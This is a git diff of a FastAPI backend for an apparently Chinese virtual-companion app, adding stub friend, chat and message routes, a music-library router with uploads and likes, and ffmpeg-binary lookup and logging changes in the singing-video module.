|
||||
"nickname": friend_user.nickname,
|
||||
"avatar": friend_user.avatar,
|
||||
"user_number": str(friend_user.id), # 前端期望 user_number
|
||||
"open_id": "", # 小程序 open_id,如有需要可补充字段
|
||||
},
|
||||
"intimacy": rel.intimacy or 0,
|
||||
"intimacy_level": rel.intimacy_level or 0,
|
||||
"is_online": False, # 默认离线,前端会单独调用在线状态接口
|
||||
})
|
||||
|
||||
return success_response({
|
||||
"data": result,
|
||||
"total": len(result)
|
||||
})
|
||||
|
||||
@router.post("/api/friend/add")
|
||||
def add_friend(user: AuthedUser = Depends(get_current_user)):
|
||||
"""添加好友"""
|
||||
return success_response({"message": "添加成功"})
|
||||
|
||||
@router.delete("/api/friend/delete")
|
||||
def delete_friend(user: AuthedUser = Depends(get_current_user)):
|
||||
"""删除好友"""
|
||||
return success_response({"message": "删除成功"})
|
||||
57
lover/routers/huanxin.py
Normal file
57
lover/routers/huanxin.py
Normal file
|
|
@ -0,0 +1,57 @@
|
|||
from typing import Optional
|
||||
|
||||
from fastapi import APIRouter, Depends
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.post("/api/huanxin/getToken")
|
||||
def get_huanxin_token(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取环信token"""
|
||||
return success_response({
|
||||
"token": "mock_huanxin_token_" + str(user.id),
|
||||
"expires_in": 3600
|
||||
})
|
||||
|
||||
@router.post("/api/huanxin/register")
|
||||
def register_huanxin_user(user: AuthedUser = Depends(get_current_user)):
|
||||
"""注册环信用户"""
|
||||
return success_response({"message": "注册成功"})
|
||||
|
||||
@router.post("/api/huanxin/online")
|
||||
def set_huanxin_online(
|
||||
payload: Optional[dict] = None,
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
"""获取环信用户在线状态(兼容前端批量查询)"""
|
||||
payload = payload or {}
|
||||
user_ids_raw = payload.get("user_ids")
|
||||
|
||||
# 前端好友列表会传入 user_ids=36,40,41,期待返回数组并支持 .find()
|
||||
if user_ids_raw:
|
||||
ids = []
|
||||
for part in str(user_ids_raw).split(","):
|
||||
part = part.strip()
|
||||
if not part:
|
||||
continue
|
||||
try:
|
||||
ids.append(int(part))
|
||||
except ValueError:
|
||||
continue
|
||||
|
||||
return success_response([
|
||||
{"id": uid, "is_online": False} for uid in ids
|
||||
])
|
||||
|
||||
# 兼容旧调用:不传 user_ids 时,返回当前用户在线信息
|
||||
return success_response({"status": "online", "user_id": user.id})
|
||||
|
||||
@router.get("/api/huanxin/user_info")
|
||||
def get_huanxin_user_info(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取环信用户信息"""
|
||||
return success_response({
|
||||
"username": f"user_{user.id}",
|
||||
"nickname": user.nickname,
|
||||
"avatar": ""
|
||||
})
|
||||
26
lover/routers/msg.py
Normal file
26
lover/routers/msg.py
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
from fastapi import APIRouter, Depends
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/api/msg/count")
|
||||
def get_msg_count(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取未读消息数量"""
|
||||
return success_response({
|
||||
"unread_count": 0,
|
||||
"total_count": 0
|
||||
})
|
||||
|
||||
@router.get("/api/msg/list")
|
||||
def get_msg_list(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取消息列表"""
|
||||
return success_response({
|
||||
"messages": [],
|
||||
"total": 0
|
||||
})
|
||||
|
||||
@router.post("/api/msg/send")
|
||||
def send_msg(user: AuthedUser = Depends(get_current_user)):
|
||||
"""发送消息"""
|
||||
return success_response({"message": "发送成功"})
|
||||
554
lover/routers/music_library.py
Normal file
554
lover/routers/music_library.py
Normal file
|
|
@ -0,0 +1,554 @@
|
|||
"""
|
||||
音乐库路由
|
||||
"""
|
||||
from typing import List, Optional
|
||||
from fastapi import APIRouter, Depends, HTTPException, UploadFile, File, Form
|
||||
from sqlalchemy.orm import Session
|
||||
from pydantic import BaseModel, Field
|
||||
from datetime import datetime
|
||||
import os
|
||||
import uuid
|
||||
import hashlib
|
||||
import time
|
||||
|
||||
from lover.db import get_db
|
||||
from lover.deps import get_current_user
|
||||
from lover.models import User, MusicLibrary, MusicLike, SongLibrary, Lover
|
||||
from lover.response import success_response, error_response, ApiResponse
|
||||
from lover.config import settings
|
||||
|
||||
router = APIRouter(prefix="/music", tags=["音乐库"])
|
||||
|
||||
|
||||
# ========== Pydantic 模型 ==========
|
||||
class MusicOut(BaseModel):
|
||||
id: int
|
||||
user_id: int
|
||||
username: str = ""
|
||||
user_avatar: str = ""
|
||||
title: str
|
||||
artist: Optional[str] = None
|
||||
music_url: str
|
||||
cover_url: Optional[str] = None
|
||||
duration: Optional[int] = None
|
||||
upload_type: str
|
||||
external_platform: Optional[str] = None
|
||||
external_id: Optional[str] = None
|
||||
external_url: Optional[str] = None
|
||||
play_count: int = 0
|
||||
like_count: int = 0
|
||||
is_liked: bool = False
|
||||
created_at: datetime
|
||||
|
||||
class Config:
|
||||
from_attributes = True
|
||||
|
||||
|
||||
class MusicListResponse(BaseModel):
|
||||
total: int
|
||||
list: List[MusicOut]
|
||||
|
||||
|
||||
class MusicAddLinkRequest(BaseModel):
|
||||
title: str = Field(..., min_length=1, max_length=255, description="歌曲标题")
|
||||
artist: Optional[str] = Field(None, max_length=255, description="艺术家")
|
||||
music_url: str = Field(..., min_length=1, max_length=500, description="音乐链接")
|
||||
cover_url: Optional[str] = Field(None, max_length=500, description="封面图链接")
|
||||
duration: Optional[int] = Field(None, description="时长(秒)")
|
||||
|
||||
|
||||
class MusicAddExternalRequest(BaseModel):
|
||||
title: str = Field(..., min_length=1, max_length=255, description="歌曲标题")
|
||||
artist: Optional[str] = Field(None, max_length=255, description="艺术家")
|
||||
platform: str = Field(..., description="外部平台: netease=网易云, qq=QQ音乐, kugou=酷狗, kuwo=酷我")
|
||||
external_id: str = Field(..., min_length=1, max_length=100, description="外部平台歌曲ID")
|
||||
external_url: str = Field(..., min_length=1, max_length=500, description="外部平台完整链接")
|
||||
cover_url: Optional[str] = Field(None, max_length=500, description="封面图链接")
|
||||
duration: Optional[int] = Field(None, description="时长(秒)")
|
||||
|
||||
|
||||
# ========== 辅助函数 ==========
|
||||
def _cdnize(url: str) -> str:
|
||||
"""将相对路径转换为 CDN 完整路径"""
|
||||
if not url:
|
||||
return ""
|
||||
if url.startswith("http://") or url.startswith("https://"):
|
||||
return url
|
||||
cdn_domain = getattr(settings, "CDN_DOMAIN", "")
|
||||
if cdn_domain:
|
||||
return f"{cdn_domain.rstrip('/')}/{url.lstrip('/')}"
|
||||
return url
|
||||
|
||||
|
||||
def _save_upload_file(file: UploadFile, folder: str = "music") -> str:
|
||||
"""保存上传的文件"""
|
||||
# 生成唯一文件名
|
||||
ext = os.path.splitext(file.filename)[1]
|
||||
filename = f"{uuid.uuid4().hex}{ext}"
|
||||
|
||||
# 创建保存路径
|
||||
upload_dir = os.path.join("public", folder)
|
||||
os.makedirs(upload_dir, exist_ok=True)
|
||||
|
||||
file_path = os.path.join(upload_dir, filename)
|
||||
|
||||
# 保存文件
|
||||
with open(file_path, "wb") as f:
|
||||
f.write(file.file.read())
|
||||
|
||||
# 返回相对路径
|
||||
return f"{folder}/{filename}"
|
||||
|
||||
|
||||
# ========== API 路由 ==========
|
||||
@router.get("/library", response_model=ApiResponse[MusicListResponse])
|
||||
def get_music_library(
|
||||
page: int = 1,
|
||||
page_size: int = 20,
|
||||
keyword: Optional[str] = None,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
获取音乐库列表(所有公开的音乐)
|
||||
"""
|
||||
query = db.query(MusicLibrary).filter(
|
||||
MusicLibrary.deleted_at.is_(None),
|
||||
MusicLibrary.is_public == 1,
|
||||
MusicLibrary.status == "approved"
|
||||
)
|
||||
|
||||
# 关键词搜索
|
||||
if keyword:
|
||||
query = query.filter(
|
||||
(MusicLibrary.title.like(f"%{keyword}%")) |
|
||||
(MusicLibrary.artist.like(f"%{keyword}%"))
|
||||
)
|
||||
|
||||
# 总数
|
||||
total = query.count()
|
||||
|
||||
# 分页
|
||||
offset = (page - 1) * page_size
|
||||
music_list = query.order_by(MusicLibrary.created_at.desc()).offset(offset).limit(page_size).all()
|
||||
|
||||
# 获取用户点赞信息
|
||||
liked_music_ids = set()
|
||||
if user:
|
||||
likes = db.query(MusicLike.music_id).filter(MusicLike.user_id == user.id).all()
|
||||
liked_music_ids = {like.music_id for like in likes}
|
||||
|
||||
# 获取上传用户信息
|
||||
user_ids = [m.user_id for m in music_list]
|
||||
users_map = {}
|
||||
if user_ids:
|
||||
users = db.query(User).filter(User.id.in_(user_ids)).all()
|
||||
users_map = {u.id: u for u in users}
|
||||
|
||||
# 构建返回数据
|
||||
result = []
|
||||
for music in music_list:
|
||||
uploader = users_map.get(music.user_id)
|
||||
result.append(MusicOut(
|
||||
id=music.id,
|
||||
user_id=music.user_id,
|
||||
username=uploader.username if uploader else "未知用户",
|
||||
user_avatar=_cdnize(uploader.avatar) if uploader and uploader.avatar else "",
|
||||
title=music.title,
|
||||
artist=music.artist,
|
||||
music_url=_cdnize(music.music_url) if music.upload_type != 'external' else music.music_url,
|
||||
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
|
||||
duration=music.duration,
|
||||
upload_type=music.upload_type,
|
||||
external_platform=music.external_platform,
|
||||
external_id=music.external_id,
|
||||
external_url=music.external_url,
|
||||
play_count=music.play_count,
|
||||
like_count=music.like_count,
|
||||
is_liked=music.id in liked_music_ids,
|
||||
created_at=music.created_at
|
||||
))
|
||||
|
||||
return success_response(MusicListResponse(total=total, list=result))
|
||||
|
||||
|
||||
@router.post("/add-link", response_model=ApiResponse[MusicOut])
|
||||
def add_music_link(
|
||||
data: MusicAddLinkRequest,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
添加音乐链接到音乐库
|
||||
"""
|
||||
# 创建音乐记录
|
||||
music = MusicLibrary(
|
||||
user_id=user.id,
|
||||
title=data.title,
|
||||
artist=data.artist,
|
||||
music_url=data.music_url,
|
||||
cover_url=data.cover_url,
|
||||
duration=data.duration,
|
||||
upload_type="link",
|
||||
is_public=1,
|
||||
status="approved"
|
||||
)
|
||||
|
||||
db.add(music)
|
||||
db.commit()
|
||||
db.refresh(music)
|
||||
|
||||
return success_response(MusicOut(
|
||||
id=music.id,
|
||||
user_id=music.user_id,
|
||||
username=user.username,
|
||||
user_avatar=_cdnize(user.avatar) if user.avatar else "",
|
||||
title=music.title,
|
||||
artist=music.artist,
|
||||
music_url=_cdnize(music.music_url),
|
||||
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
|
||||
duration=music.duration,
|
||||
upload_type=music.upload_type,
|
||||
external_platform=None,
|
||||
external_id=None,
|
||||
external_url=None,
|
||||
play_count=music.play_count,
|
||||
like_count=music.like_count,
|
||||
is_liked=False,
|
||||
created_at=music.created_at
|
||||
))
|
||||
|
||||
|
||||
@router.post("/add-external", response_model=ApiResponse[MusicOut])
|
||||
def add_external_music(
|
||||
data: MusicAddExternalRequest,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
添加外部平台音乐链接(网易云、QQ音乐等)
|
||||
"""
|
||||
# 验证平台
|
||||
allowed_platforms = ["netease", "qq", "kugou", "kuwo"]
|
||||
if data.platform not in allowed_platforms:
|
||||
return error_response(f"不支持的平台,仅支持: {', '.join(allowed_platforms)}")
|
||||
|
||||
# 创建音乐记录
|
||||
music = MusicLibrary(
|
||||
user_id=user.id,
|
||||
title=data.title,
|
||||
artist=data.artist,
|
||||
music_url=data.external_url,
|
||||
cover_url=data.cover_url,
|
||||
duration=data.duration,
|
||||
upload_type="external",
|
||||
external_platform=data.platform,
|
||||
external_id=data.external_id,
|
||||
external_url=data.external_url,
|
||||
is_public=1,
|
||||
status="approved"
|
||||
)
|
||||
|
||||
db.add(music)
|
||||
db.commit()
|
||||
db.refresh(music)
|
||||
|
||||
return success_response(MusicOut(
|
||||
id=music.id,
|
||||
user_id=music.user_id,
|
||||
username=user.username,
|
||||
user_avatar=_cdnize(user.avatar) if user.avatar else "",
|
||||
title=music.title,
|
||||
artist=music.artist,
|
||||
music_url=music.music_url,
|
||||
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
|
||||
duration=music.duration,
|
||||
upload_type=music.upload_type,
|
||||
external_platform=music.external_platform,
|
||||
external_id=music.external_id,
|
||||
external_url=music.external_url,
|
||||
play_count=music.play_count,
|
||||
like_count=music.like_count,
|
||||
is_liked=False,
|
||||
created_at=music.created_at
|
||||
))
|
||||
|
||||
|
||||
@router.post("/upload", response_model=ApiResponse[MusicOut])
|
||||
async def upload_music_file(
|
||||
title: str = Form(...),
|
||||
artist: Optional[str] = Form(None),
|
||||
duration: Optional[int] = Form(None),
|
||||
music_file: UploadFile = File(...),
|
||||
cover_file: Optional[UploadFile] = File(None),
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
上传音乐文件到音乐库
|
||||
"""
|
||||
# 检查文件类型
|
||||
allowed_audio = [".mp3", ".wav", ".m4a", ".flac", ".ogg"]
|
||||
allowed_image = [".jpg", ".jpeg", ".png", ".gif", ".webp"]
|
||||
|
||||
music_ext = os.path.splitext(music_file.filename)[1].lower()
|
||||
if music_ext not in allowed_audio:
|
||||
return error_response("不支持的音频格式")
|
||||
|
||||
# 保存音乐文件
|
||||
music_path = _save_upload_file(music_file, "music")
|
||||
|
||||
# 保存封面文件
|
||||
cover_path = None
|
||||
if cover_file:
|
||||
cover_ext = os.path.splitext(cover_file.filename)[1].lower()
|
||||
if cover_ext in allowed_image:
|
||||
cover_path = _save_upload_file(cover_file, "music/covers")
|
||||
|
||||
# 创建音乐记录
|
||||
music = MusicLibrary(
|
||||
user_id=user.id,
|
||||
title=title,
|
||||
artist=artist,
|
||||
music_url=music_path,
|
||||
cover_url=cover_path,
|
||||
duration=duration,
|
||||
upload_type="file",
|
||||
is_public=1,
|
||||
status="approved"
|
||||
)
|
||||
|
||||
db.add(music)
|
||||
db.commit()
|
||||
db.refresh(music)
|
||||
|
||||
return success_response(MusicOut(
|
||||
id=music.id,
|
||||
user_id=music.user_id,
|
||||
username=user.username,
|
||||
user_avatar=_cdnize(user.avatar) if user.avatar else "",
|
||||
title=music.title,
|
||||
artist=music.artist,
|
||||
music_url=_cdnize(music.music_url),
|
||||
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
|
||||
duration=music.duration,
|
||||
upload_type=music.upload_type,
|
||||
external_platform=None,
|
||||
external_id=None,
|
||||
external_url=None,
|
||||
play_count=music.play_count,
|
||||
like_count=music.like_count,
|
||||
is_liked=False,
|
||||
created_at=music.created_at
|
||||
))
|
||||
|
||||
|
||||
@router.post("/{music_id}/like", response_model=ApiResponse[dict])
|
||||
def like_music(
|
||||
music_id: int,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
点赞音乐
|
||||
"""
|
||||
# 检查音乐是否存在
|
||||
music = db.query(MusicLibrary).filter(
|
||||
MusicLibrary.id == music_id,
|
||||
MusicLibrary.deleted_at.is_(None)
|
||||
).first()
|
||||
|
||||
if not music:
|
||||
return error_response("音乐不存在")
|
||||
|
||||
# 检查是否已点赞
|
||||
existing_like = db.query(MusicLike).filter(
|
||||
MusicLike.user_id == user.id,
|
||||
MusicLike.music_id == music_id
|
||||
).first()
|
||||
|
||||
if existing_like:
|
||||
# 取消点赞
|
||||
db.delete(existing_like)
|
||||
music.like_count = max(0, music.like_count - 1)
|
||||
db.commit()
|
||||
return success_response({"is_liked": False, "like_count": music.like_count})
|
||||
else:
|
||||
# 添加点赞
|
||||
like = MusicLike(user_id=user.id, music_id=music_id)
|
||||
db.add(like)
|
||||
music.like_count += 1
|
||||
db.commit()
|
||||
return success_response({"is_liked": True, "like_count": music.like_count})
|
||||
|
||||
|
||||
@router.post("/{music_id}/play", response_model=ApiResponse[dict])
|
||||
def record_play(
|
||||
music_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
记录播放次数
|
||||
"""
|
||||
music = db.query(MusicLibrary).filter(
|
||||
MusicLibrary.id == music_id,
|
||||
MusicLibrary.deleted_at.is_(None)
|
||||
).first()
|
||||
|
||||
if not music:
|
||||
return error_response("音乐不存在")
|
||||
|
||||
music.play_count += 1
|
||||
db.commit()
|
||||
|
||||
return success_response({"play_count": music.play_count})
|
||||
|
||||
|
||||
@router.delete("/{music_id}", response_model=ApiResponse[dict])
|
||||
def delete_music(
|
||||
music_id: int,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
删除音乐(仅限上传者)
|
||||
"""
|
||||
music = db.query(MusicLibrary).filter(
|
||||
MusicLibrary.id == music_id,
|
||||
MusicLibrary.deleted_at.is_(None)
|
||||
).first()
|
||||
|
||||
if not music:
|
||||
return error_response("音乐不存在")
|
||||
|
||||
if music.user_id != user.id:
|
||||
return error_response("无权删除此音乐")
|
||||
|
||||
music.deleted_at = datetime.utcnow()
|
||||
db.commit()
|
||||
|
||||
return success_response({"message": "删除成功"})
|
||||
|
||||
|
||||
@router.get("/my", response_model=ApiResponse[MusicListResponse])
|
||||
def get_my_music(
|
||||
page: int = 1,
|
||||
page_size: int = 20,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
获取我上传的音乐
|
||||
"""
|
||||
query = db.query(MusicLibrary).filter(
|
||||
MusicLibrary.user_id == user.id,
|
||||
MusicLibrary.deleted_at.is_(None)
|
||||
)
|
||||
|
||||
total = query.count()
|
||||
|
||||
offset = (page - 1) * page_size
|
||||
music_list = query.order_by(MusicLibrary.created_at.desc()).offset(offset).limit(page_size).all()
|
||||
|
||||
# 获取点赞信息
|
||||
liked_music_ids = set()
|
||||
likes = db.query(MusicLike.music_id).filter(MusicLike.user_id == user.id).all()
|
||||
liked_music_ids = {like.music_id for like in likes}
|
||||
|
||||
result = []
|
||||
for music in music_list:
|
||||
result.append(MusicOut(
|
||||
id=music.id,
|
||||
user_id=music.user_id,
|
||||
username=user.username,
|
||||
user_avatar=_cdnize(user.avatar) if user.avatar else "",
|
||||
title=music.title,
|
||||
artist=music.artist,
|
||||
music_url=_cdnize(music.music_url) if music.upload_type != 'external' else music.music_url,
|
||||
cover_url=_cdnize(music.cover_url) if music.cover_url else "",
|
||||
duration=music.duration,
|
||||
upload_type=music.upload_type,
|
||||
external_platform=music.external_platform,
|
||||
external_id=music.external_id,
|
||||
external_url=music.external_url,
|
||||
play_count=music.play_count,
|
||||
like_count=music.like_count,
|
||||
is_liked=music.id in liked_music_ids,
|
||||
created_at=music.created_at
|
||||
))
|
||||
|
||||
return success_response(MusicListResponse(total=total, list=result))
|
||||
|
||||
|
||||
|
||||
@router.post("/convert-to-song", response_model=ApiResponse[dict])
|
||||
def convert_music_to_song(
|
||||
music_id: int,
|
||||
user: User = Depends(get_current_user),
|
||||
db: Session = Depends(get_db),
|
||||
):
|
||||
"""
|
||||
将音乐库音乐转换为系统歌曲(用于生成唱歌视频)
|
||||
"""
|
||||
# 1. 检查音乐
|
||||
music = db.query(MusicLibrary).filter(
|
||||
MusicLibrary.id == music_id,
|
||||
MusicLibrary.deleted_at.is_(None)
|
||||
).first()
|
||||
|
||||
if not music:
|
||||
return error_response("音乐不存在")
|
||||
|
||||
# 2. 检查音乐类型
|
||||
if music.upload_type == 'external':
|
||||
return error_response("外部平台音乐无法生成视频,请使用直链或上传的音乐")
|
||||
|
||||
# 3. 获取音乐 URL
|
||||
music_url = _cdnize(music.music_url)
|
||||
if not music_url:
|
||||
return error_response("音乐地址不可用")
|
||||
|
||||
# 4. 检查是否已转换(避免重复)
|
||||
audio_hash = hashlib.md5(music_url.encode()).hexdigest()
|
||||
existing_song = db.query(SongLibrary).filter(
|
||||
SongLibrary.audio_hash == audio_hash,
|
||||
SongLibrary.deletetime.is_(None)
|
||||
).first()
|
||||
|
||||
if existing_song:
|
||||
return success_response({
|
||||
"song_id": existing_song.id,
|
||||
"title": existing_song.title,
|
||||
"from_cache": True
|
||||
})
|
||||
|
||||
# 5. 获取恋人性别
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
return error_response("请先创建恋人")
|
||||
|
||||
# 6. 创建系统歌曲记录
|
||||
now_ts = int(time.time())
|
||||
|
||||
song = SongLibrary(
|
||||
title=music.title or "未命名",
|
||||
artist=music.artist or "",
|
||||
gender=lover.gender,
|
||||
audio_url=music.music_url, # 存储原始路径(不含 CDN)
|
||||
status=True,
|
||||
weigh=0,
|
||||
createtime=now_ts,
|
||||
updatetime=now_ts,
|
||||
audio_hash=audio_hash,
|
||||
duration_sec=music.duration
|
||||
)
|
||||
|
||||
db.add(song)
|
||||
db.commit()
|
||||
db.refresh(song)
|
||||
|
||||
return success_response({
|
||||
"song_id": song.id,
|
||||
"title": song.title,
|
||||
"from_cache": False
|
||||
})
|
||||
|
|
@ -76,7 +76,18 @@ def _cdnize(url: Optional[str]) -> Optional[str]:
|
|||
return url
|
||||
if url.startswith("http://") or url.startswith("https://"):
|
||||
return url
|
||||
prefix = "https://nvlovers.oss-cn-qingdao.aliyuncs.com"
|
||||
|
||||
# 优先使用 CDN 域名
|
||||
cdn_domain = getattr(settings, 'ALIYUN_OSS_CDN_DOMAIN', None)
|
||||
if cdn_domain:
|
||||
prefix = cdn_domain.rstrip("/")
|
||||
else:
|
||||
# 兜底使用 OSS 默认域名
|
||||
bucket_name = getattr(settings, 'ALIYUN_OSS_BUCKET_NAME', 'hello12312312')
|
||||
endpoint = getattr(settings, 'ALIYUN_OSS_ENDPOINT', 'https://oss-cn-hangzhou.aliyuncs.com')
|
||||
endpoint_clean = endpoint.replace('https://', '').replace('http://', '')
|
||||
prefix = f"https://{bucket_name}.{endpoint_clean}"
|
||||
|
||||
if url.startswith("/"):
|
||||
return prefix + url
|
||||
return f"{prefix}/{url}"
|
||||
|
|
|
|||
|
|
@ -1,6 +1,8 @@
|
|||
import hashlib
|
||||
import hashlib
|
||||
import logging
|
||||
import math
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import tempfile
|
||||
import threading
|
||||
|
|
@ -25,6 +27,7 @@ from ..models import (
|
|||
EmoDetectCache,
|
||||
GenerationTask,
|
||||
Lover,
|
||||
MusicLibrary,
|
||||
SingBaseVideo,
|
||||
SingSongVideo,
|
||||
SongLibrary,
|
||||
|
|
@ -35,8 +38,48 @@ from ..models import (
|
|||
from ..response import ApiResponse, success_response
|
||||
from ..task_queue import sing_task_queue
|
||||
|
||||
try:
|
||||
import imageio_ffmpeg # type: ignore
|
||||
except Exception: # pragma: no cover
|
||||
imageio_ffmpeg = None
|
||||
|
||||
logger = logging.getLogger("sing")
|
||||
|
||||
router = APIRouter(prefix="/sing", tags=["sing"])
|
||||
|
||||
|
||||
def _ffmpeg_bin() -> str:
|
||||
"""Prefer system ffmpeg; fallback to imageio-ffmpeg bundled binary."""
|
||||
found = shutil.which("ffmpeg")
|
||||
if found:
|
||||
return found
|
||||
if imageio_ffmpeg is not None:
|
||||
try:
|
||||
return imageio_ffmpeg.get_ffmpeg_exe()
|
||||
except Exception:
|
||||
pass
|
||||
return "ffmpeg"
|
||||
|
||||
|
||||
def _ffprobe_bin() -> str:
|
||||
"""Prefer system ffprobe; fallback to imageio-ffmpeg bundled binary if available."""
|
||||
found = shutil.which("ffprobe")
|
||||
if found:
|
||||
return found
|
||||
# imageio-ffmpeg only guarantees ffmpeg; most builds include ffprobe alongside.
|
||||
if imageio_ffmpeg is not None:
|
||||
try:
|
||||
ffmpeg_path = imageio_ffmpeg.get_ffmpeg_exe()
|
||||
candidate = os.path.join(os.path.dirname(ffmpeg_path), "ffprobe.exe")
|
||||
if os.path.exists(candidate):
|
||||
return candidate
|
||||
candidate = os.path.join(os.path.dirname(ffmpeg_path), "ffprobe")
|
||||
if os.path.exists(candidate):
|
||||
return candidate
|
||||
except Exception:
|
||||
pass
|
||||
return "ffprobe"
|
||||
|
||||
SING_BASE_MODEL = "wan2.5-i2v-preview"
|
||||
SING_BASE_RESOLUTION = "480P"
|
||||
SING_WAN26_MODEL = "wan2.6-i2v-flash"
|
||||
|
|
@ -96,6 +139,29 @@ _sing_last_enqueue_at: dict[int, float] = {}
|
|||
_emo_task_semaphore = threading.BoundedSemaphore(max(1, settings.EMO_MAX_CONCURRENCY or 1))
|
||||
|
||||
|
||||
def _check_and_reset_vip_video_gen(user_row: User, db: Session) -> None:
|
||||
"""检查并重置 VIP 用户的视频生成次数"""
|
||||
if not user_row:
|
||||
return
|
||||
|
||||
# 检查是否是 VIP 用户(vip_endtime 是 Unix 时间戳)
|
||||
current_timestamp = int(datetime.utcnow().timestamp())
|
||||
is_vip = user_row.vip_endtime and user_row.vip_endtime > current_timestamp
|
||||
if not is_vip:
|
||||
return
|
||||
|
||||
# 获取上次重置日期
|
||||
last_reset = user_row.video_gen_reset_date
|
||||
today = datetime.utcnow().date()
|
||||
|
||||
# 如果是新的一天,重置次数
|
||||
if not last_reset or last_reset < today:
|
||||
user_row.video_gen_remaining = 2 # VIP 用户每天 2 次
|
||||
user_row.video_gen_reset_date = today
|
||||
db.add(user_row)
|
||||
db.flush()
|
||||
|
||||
|
||||
@contextmanager
|
||||
def _semaphore_guard(semaphore: threading.BoundedSemaphore):
|
||||
semaphore.acquire()
|
||||
|
|
@ -204,16 +270,20 @@ def _resolve_sing_prompts(model: str) -> tuple[str, str]:
|
|||
|
||||
def _download_to_path(url: str, target_path: str):
|
||||
try:
|
||||
logger.info(f"开始下载文件: {url}")
|
||||
resp = requests.get(url, stream=True, timeout=30)
|
||||
except Exception as exc:
|
||||
logger.error(f"文件下载失败 - URL: {url}, 错误: {exc}")
|
||||
raise HTTPException(status_code=502, detail="文件下载失败") from exc
|
||||
if resp.status_code != 200:
|
||||
logger.error(f"文件下载失败 - URL: {url}, 状态码: {resp.status_code}")
|
||||
raise HTTPException(status_code=502, detail="文件下载失败")
|
||||
try:
|
||||
with open(target_path, "wb") as file_handle:
|
||||
for chunk in resp.iter_content(chunk_size=1024 * 1024):
|
||||
if chunk:
|
||||
file_handle.write(chunk)
|
||||
logger.info(f"文件下载成功: {url} -> {target_path}")
|
||||
finally:
|
||||
resp.close()
|
||||
|
||||
|
|
@ -302,7 +372,7 @@ def _ensure_emo_detect_cache(
|
|||
|
||||
def _probe_media_duration(path: str) -> Optional[float]:
|
||||
command = [
|
||||
"ffprobe",
|
||||
_ffprobe_bin(),
|
||||
"-v",
|
||||
"error",
|
||||
"-show_entries",
|
||||
|
|
@ -332,7 +402,7 @@ def _probe_media_duration(path: str) -> Optional[float]:
|
|||
def _run_ffmpeg_merge(video_path: str, audio_path: str, output_path: str):
|
||||
audio_duration = _probe_media_duration(audio_path)
|
||||
command = [
|
||||
"ffmpeg",
|
||||
_ffmpeg_bin(),
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -382,7 +452,7 @@ def _strip_video_audio(video_bytes: bytes) -> bytes:
|
|||
with open(input_path, "wb") as file_handle:
|
||||
file_handle.write(video_bytes)
|
||||
command = [
|
||||
"ffmpeg",
|
||||
_ffmpeg_bin(),
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -404,7 +474,7 @@ def _strip_video_audio(video_bytes: bytes) -> bytes:
|
|||
raise HTTPException(status_code=500, detail="ffmpeg 未安装或不可用") from exc
|
||||
except subprocess.CalledProcessError:
|
||||
fallback = [
|
||||
"ffmpeg",
|
||||
_ffmpeg_bin(),
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -456,7 +526,7 @@ def _extract_audio_segment(
|
|||
output_path: str,
|
||||
):
|
||||
command = [
|
||||
"ffmpeg",
|
||||
_ffmpeg_bin(),
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -496,7 +566,7 @@ def _pad_audio_segment(
|
|||
if pad_sec <= 0:
|
||||
return
|
||||
command = [
|
||||
"ffmpeg",
|
||||
_ffmpeg_bin(),
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -528,7 +598,7 @@ def _pad_audio_segment(
|
|||
|
||||
def _trim_video_duration(input_path: str, target_duration_sec: float, output_path: str):
|
||||
command = [
|
||||
"ffmpeg",
|
||||
_ffmpeg_bin(),
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -552,7 +622,7 @@ def _trim_video_duration(input_path: str, target_duration_sec: float, output_pat
|
|||
pass
|
||||
|
||||
fallback = [
|
||||
"ffmpeg",
|
||||
_ffmpeg_bin(),
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -605,7 +675,7 @@ def _concat_video_files(video_paths: list[str], output_path: str):
|
|||
for path in video_paths:
|
||||
list_file.write(f"file '{path}'\n")
|
||||
command = [
|
||||
"ffmpeg",
|
||||
_ffmpeg_bin(),
|
||||
"-y",
|
||||
"-loglevel",
|
||||
"error",
|
||||
|
|
@ -626,7 +696,7 @@ def _concat_video_files(video_paths: list[str], output_path: str):
|
|||
subprocess.run(command, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
except subprocess.CalledProcessError:
|
||||
